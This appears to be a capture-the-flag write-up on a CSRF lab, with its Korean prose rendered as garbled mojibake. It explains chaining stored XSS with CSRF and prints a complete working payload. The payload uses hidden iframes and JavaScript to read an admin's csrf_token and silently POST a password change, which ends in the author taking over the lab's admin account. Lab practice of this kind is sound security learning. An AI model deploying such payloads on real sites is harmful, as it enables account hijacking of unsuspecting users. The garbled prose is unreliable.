๐
CSRF (Cross Site Request Forgery) ๋?
CSRF ๊ณต๊ฒฉ ๋ฐฉ๋ฒ
ID : xcvb , PW : xcvb ๋ก ํ์๊ฐ์
ํ ๋ก๊ทธ์ธ - ๋ง์ดํ์ด์ง
์ถ๊ฐ ์ธ์ฆ์ ๋ณด ์
๋ ฅ ์นธ์ด ์๋ ๊ฒ์ ํ์ธํ๊ณ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ ์์ฒญ.
csrf_token ๊ฐ์ด ํจ๊ป ์ ์ก๋๊ณ ์๋ค.
mypage.php์ ์ ์ ์ csrf ํ ํฐ์ ๋ฐํํด์ฃผ๊ณ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํ๋ ์์ฒญ์ ๋ณด๋ผ ๋ csrf ํ ํฐ์ ํจ๊ป ๋ณด๋์ผ๋ก์จ ์ฌ์ฉ์๊ฐ ๋ง์ดํ์ด์ง์์ ์์ฒญ์ ๋ณด๋ด๋์ง ํ์ธํ๋ ๊ฒ ๊ฐ๋ค.
ํ์ง๋ง ์ด๋ ๊ฒ ๋ง๋ค๋ฉด XSS ์ทจ์ฝ์ ์ด ์์ ์ csrf ํ ํฐ์ ํ์ทจํ ์ ์๋ค.
POST์์ฒญ์ change requestํด์ GET์ผ๋ก ๋ณด๋๋๋ ์๋ฌ๊ฐ ๋ฐ์ํจ.
XSS ์ทจ์ฝ์ ์ ์ฐพ์ csrf ํ ํฐ์ ํ์ทจ ํ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ์ ์์ฒญํ๊ฒ ๋ง๋ค์ด๋ณด์.
ํ์๊ฐ์
- ๋ก๊ทธ์ธ - ๊ฒ์ํ - ๊ธ์ฐ๊ธฐ ์์
ํน์๋ฌธ์ ์ฝ์
๊ฐ๋ฅ ์ฌ๋ถ๋ฅผ ํ์ธํ๊ธฐ ์ํด test<'"> ์
๋ ฅ
HTML Entity๋ก ์นํ๋์ง ์์. XSS์ ์ทจ์ฝํ ํ๋ฅ ์ด ํผ.
1) CSRF ํ ํฐ์ ํ์ทจํ๊ณ 2) ์ด ํ ํฐ์ form ํ๊ทธ์ ๋ฃ์ด๋ณด๋ด์.
๋จผ์ CSRF ํ ํฐ์ ํ์ทจํ๋ ์
์ฑ์ฝ๋๋ฅผ ๊ฒ์๊ธ์ ์ฝ์
ํ๋ค.
DOMData๋ฅผ ๊ฐ์ ธ์ค๊ธฐ ์ํด mypage.php ํ์ธ.
name = "csrf_token" ์ ์ด์ฉํ์.
๊ด๋ฆฌ์๊ฐ ํด๋น ๊ฒ์๊ธ์ ํด๋ฆญํ๊ฒ ์ ๋ํ ํ
CSRFํ ํฐ์ ํ์ทจํ์ฌ ๋ด ๊ณต๊ฒฉ์ ์๋ฒ์ ๋ณด๋ผ ๊ฒ์ด๋ค.
๊ทธ๋ฆฌ๊ณ ํ์ทจํ CSRFํ ํฐ์ value์ ๋ฃ์ด ๋ค๋ฅธ ๊ฒ์๊ธ์ ์ฌ๋ฆฌ์.
ํด๋น ๊ฒ์๋ฌผ URL์ ๊ด๋ฆฌ์ ๋ด์๊ฒ ๋ณด๋ด๋ฉด ๊ด๋ฆฌ์๊ฐ URL์ ์ ์์ ํ์ง๋ง ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ์ด ๋์ง ์๋๋ค.
์๊ฐํด๋ณด๋ ๊ธ์ ๋ ๊ฐ๋ ํด๋ฆญํด์ผ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๋ค๋๊ฑด ์ข ์ด์ํ๋ค.
ํ ํฐ ํ์ทจ์ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ์์ฒญ(ํ ํฐ๊ฐ ํฌํจ)์ ๋์์ ํด์ผํ๋๋ฐ value์ ํ์ทจํ ํ ํฐ๊ฐ์ ์ด๋ป๊ฒ ๋ฃ์ง?
fetch๋ฅผ ์ด์ฉํ๋ฉด ๋๋ค.
๐ fetch ๋?
์น ๊ฐ๋ฐ์์ ์์ฃผ ์ฌ์ฉ๋๋ JavaScript ํจ์๋ก, ์๋ฒ๋ก ๋ถํฐ ๋ฆฌ์์ค๋ฅผ ๋น๋๊ธฐ์ ์ผ๋ก ๊ฐ์ ธ์ฌ ๋ ์ฌ์ฉํจ.
์ฃผ๋ก ๋คํธ์ํฌ ์์ฒญ์ ๋ณด๋ด๊ณ ์๋ต์ ์ฒ๋ฆฌํ๊ธฐ ์ํด ์ฌ์ฉ.fetch('URL', { method: 'POST', // HTTP ๋ฉ์๋ ์ง์ headers: { 'Content-Type': 'application/json' // ์์ฒญ ํค๋ ์ค์ }, body: JSON.stringify({ key1: 'value1', key2: 'value2' }) // ์์ฒญ ๋ณธ๋ฌธ ์ค์ }) .then(response => response.json()) .catch(error => console.error('Error:', error));
then: 'Promise'* ๊ฐ ์ฑ๊ณต์ ์ผ๋ก ์๋ฃ๋์์ ๋ ํธ์ถ๋๋ ๋ฉ์๋. ์๋ต์ฒ๋ฆฌcatch: 'Promise' ๊ฐ ์คํจํ์ ๋ ํธ์ถ๋๋ ๋ฉ์๋. ์ค๋ฅ์ฒ๋ฆฌ
- Promise ๋?
JavaScript์์ ๋น๋๊ธฐ ์์ ์ ์ฒ๋ฆฌํ๊ธฐ ์ํด ์ฌ์ฉ๋๋ ๊ฐ์ฒด.
ํ์ฌ๋ ์ ์ ์์ง๋ง, ๋ฏธ๋์ ์๋ฃ๋ ์์ ์ ๋ํ๋ด๋ฉฐ, ์ฑ๊ณต ๋๋ ์คํจํ ๊ฒฐ๊ณผ ๊ฐ์ ๋ฐํํ๋ค.
mypage_update.php์ ํค๋๋ฅผ ์ฐธ๊ณ ํ์ฌ
์๋์ ์ฝ๋๋ฅผ ๊ฒ์๊ธ๋ก ์์ฑํ์.
<!--post ์์ฒญ์ ๋ณด๋ด๊ธฐ ์ํ iframe-->
<iframe name="stealthFrame" style="display:none;"></iframe>
<!--csrf ํ ํฐ ํ์ทจ๋ฅผ ์ํ iframe-->
<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php"
id="targetFrame" style="display:none;"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php"
id="myForm" target="stealthFrame">
<!--๋ณ๊ฒฝํ ๋น๋ฐ๋ฒํธ์ธ 1234-->
<input type= "hidden" name="pw" value="1234">
<!-- csrf_token ๊ฐ์ ์๋ฐ์คํฌ๋ฆฝํธ์์ ์ค์ ํ ์์ -->
<input type= "hidden" name="csrf_token" id="csrf_token">
</form>
<script>
// csrf_token ๊ฐ์ ๊ฐ์ ธ์ค๋ ๋ถ๋ถ
var targetTag = document.getElementById('targetFrame');
targetTag.onload = function() {
var DOMData = targetTag.contentDocument;
var csrfToken = DOMData.getElementsByName('csrf_token')[0].value;
document.getElementById('csrf_token').value = csrfToken; // ํผ ํ๋์ csrf_token ๊ฐ์ ์ค์
submitForm(); // ํผ์ ์ ์ถํ๋ ํจ์ ํธ์ถ
};
function submitForm() {
// fetch๋ฅผ ์ฌ์ฉํ์ฌ ํผ ๋ฐ์ดํฐ๋ฅผ ์๋ฒ๋ก ์ ์ก
fetch('http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php', {
method: 'POST',
headers: { // mypage_update.php์ ํค๋ ๊ฐ์ ธ์ค๊ธฐ
'Host': 'ctf.segfaulthub.com:7575',
'Content-Length': '69',
'Cache-Control': 'max-age=0',
'Accept-Language': 'ko-KR',
'Upgrade-Insecure-Requests': '1',
'Origin': 'http://ctf.segfaulthub.com:7575',
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Referer': 'http://ctf.segfaulthub.com:7575/csrf_3/mypage.php',
'Accept-Encoding': 'gzip, deflate, br'
},
body: new URLSearchParams(new FormData(document.getElementById('myForm'))).toString()
})
.then(response => response.json())
.catch(error => console.error('Fetch error:', error));
}
</script>
๊ฒ์๊ธ์ ํ์ธํ๋ฉด mypage.php ์์ csrf ํ ํฐ์ ํ์ทจํ์ฌ mypage_update.php์ ๋ณ๊ฒฝํ ๋น๋ฐ๋ฒํธ์ ํจ๊ป ๋ณด๋ธ๋ค.
ํด๋น ๊ฒ์๊ธ URL (http://ctf.segfaulthub.com:7575/csrf_3/notice_read.php?id=314&view=1)์ ๊ด๋ฆฌ์ ๋ด์๊ฒ ๋ณด๋ธํ ๊ด๋ฆฌ์๊ฐ ์ ์ํ๋ฉด,
ID : xcvb_admin , PW : 1234 ๋ก ๋ก๊ทธ์ธํด๋ณด์.
๊ด๋ฆฌ์ ๊ณ์ ํ์ทจ ์๋ฃ!